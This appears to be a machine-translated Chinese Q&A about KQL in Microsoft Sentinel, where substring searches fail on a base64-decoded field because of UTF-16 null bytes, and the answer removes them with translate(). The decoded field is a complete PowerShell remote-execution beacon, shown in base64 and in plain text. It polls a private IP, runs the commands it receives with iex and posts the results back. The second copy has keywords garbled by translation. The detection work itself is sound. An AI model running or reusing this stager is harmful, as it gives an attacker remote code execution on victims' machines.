字符串函数未解析所有字符

Question

我在 KQL 中搜索字段中的值时遇到困难。

我正在搜索的字段是通过使用内置函数

base64_decode_tostring()

解码base64编码的字符串获得的。我正在解码的字符串是：

JABzAD0AJwAxADcAMgAuADIAMAAuADEAMAAuADIAOgA4ADAAOAAwACcAOwAkAGkAPQAnADYAOAAwADcAOQBhADAAYgAtADMANgA5ADAAMwAyADEAZAAtADEANgA2ADgAZABjADYAMQAnADsAJABwAD0AJwBoAHQAdABwADoALwAvACcAOwAkAHYAPQBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBVAHIAaQAgACQAcAAkAHMALwA2ADgAMAA3ADkAYQAwAGIAIAAtAEgAZQBhAGQAZQByAHMAIABAAHsAIgBYAC0AOQAyAGQAOQAtAGEAYgA2ADEAIgA9ACQAaQB9ADsAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQB7ACQAYwA9ACgASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVQByAGkAIAAkAHAAJABzAC8AMwA2ADkAMAAzADIAMQBkACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAWAAtADkAMgBkADkALQBhAGIANgAxACIAPQAkAGkAfQApAC4AQwBvAG4AdABlAG4AdAA7AGkAZgAgACgAJABjACAALQBuAGUAIAAnAE4AbwBuAGUAJwApACAAewAkAHIAPQBpAGUAeAAgACQAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgAC0ARQByAHIAbwByAFYAYQByAGkAYQBiAGwAZQAgAGUAOwAkAHIAPQBPAHUAdAAtAFMAdAByAGkAbgBnACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAHIAOwAkAHQAPQBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABwACQAcwAvADEANgA2ADgAZABjADYAMQAgAC0ATQBlAHQAaABvAGQAIABQAE8AUwBUACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAWAAtADkAMgBkADkALQBhAGIANgAxACIAPQAkAGkAfQAgAC0AQgBvAGQAeQAgACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAZQArACQAcgApACAALQBqAG8AaQBuACAAJwAgACcAKQB9ACAAcwBsAGUAZQBwACAAMAAuADgAfQA=

此字符串解码为我在解码字符串列中所期望的内容：

$s='172.20.10.2:8080';$i='68079a0b-3690321d-1668dc61';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/68079a0b -Headers @{"X-92d9-ab61"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/3690321d -Headers @{"X-92d9-ab61"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/1668dc61 -Method POST -Headers @{"X-92d9-ab61"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}

可以在结果表中看到：

当我尝试使用

| where decodedString contains "X-92d9-ab61"

子句来检测已解码字符串中的字符串值时，Sentinel 表示没有结果。不过我可以在上面的

decodedString

列中清楚地看到这个字符串。

事实上，where 子句不会检测任何内容，除非它是包含在解码字符串列中的单个字符。

为什么它只能检测单个字符？为什么它不能检测超过一个字符串？

Answer 1

ADX（Azure 数据资源管理器）又名 Kusto，是用作 Azure Sentinel 数据库的服务。
正如 ADX 文档所述 “在内部，字符串以 UTF-8 编码”。

根据您描述的现象以及您提供的字符串（“AGUAcgBzACAAQAB7ACIAWAAtADkAMgBkADkALQBhAG”），您的原始数据似乎采用不同的编码，最有可能是UTF-16BE，因此在摄取后您会看到文本为由 null 分隔的字符 性格。

像这样：

建议的解决方案是先将数据转换为 UTF-8，然后再将其引入 Azure Sentinel。

---

更新

如果字符串仅由 ASCII 字符构成，我们可以通过删除 NULL 字符来获得有效的、可搜索的 UTF-8 字符串。

let str = "JABzAD0AJwAxADcAMgAuADIAMAAuADEAMAAuADIAOgA4ADAAOAAwACcAOwAkAGkAPQAnADYAOAAwADcAOQBhADAAYgAtADMANgA5ADAAMwAyADEAZAAtADEANgA2ADgAZABjADYAMQAnADsAJABwAD0AJwBoAHQAdABwADoALwAvACcAOwAkAHYAPQBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBVAHIAaQAgACQAcAAkAHMALwA2ADgAMAA3ADkAYQAwAGIAIAAtAEgAZQBhAGQAZQByAHMAIABAAHsAIgBYAC0AOQAyAGQAOQAtAGEAYgA2ADEAIgA9ACQAaQB9ADsAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQB7ACQAYwA9ACgASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAgAC0AVQByAGkAIAAkAHAAJABzAC8AMwA2ADkAMAAzADIAMQBkACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAWAAtADkAMgBkADkALQBhAGIANgAxACIAPQAkAGkAfQApAC4AQwBvAG4AdABlAG4AdAA7AGkAZgAgACgAJABjACAALQBuAGUAIAAnAE4AbwBuAGUAJwApACAAewAkAHIAPQBpAGUAeAAgACQAYwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAAgAC0ARQByAHIAbwByAFYAYQByAGkAYQBiAGwAZQAgAGUAOwAkAHIAPQBPAHUAdAAtAFMAdAByAGkAbgBnACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAHIAOwAkAHQAPQBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABwACQAcwAvADEANgA2ADgAZABjADYAMQAgAC0ATQBlAHQAaABvAGQAIABQAE8AUwBUACAALQBIAGUAYQBkAGUAcgBzACAAQAB7ACIAWAAtADkAMgBkADkALQBhAGIANgAxACIAPQAkAGkAfQAgAC0AQgBvAGQAeQAgACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAZQArACQAcgApACAALQBqAG8AaQBuACAAJwAgACcAKQB9ACAAcwBsAGUAZQBwACAAMAAuADgAfQA=";
print translate("\0", "", base64_decode_tostring(str))

打印_0

$s='172.20.10.2:8080';$i='68079a0b-3690321d-1668dc61';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/68079a0b -标头 @{"X-92d9-ab61"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/3690321d -标头 @{"X-92d9-ab61"= $i}).Content;if ($c -ne '无') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/1668dc61 -Method POST -Headers @{"X-92d9-ab61"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ') } 睡眠 0.8}

小提琴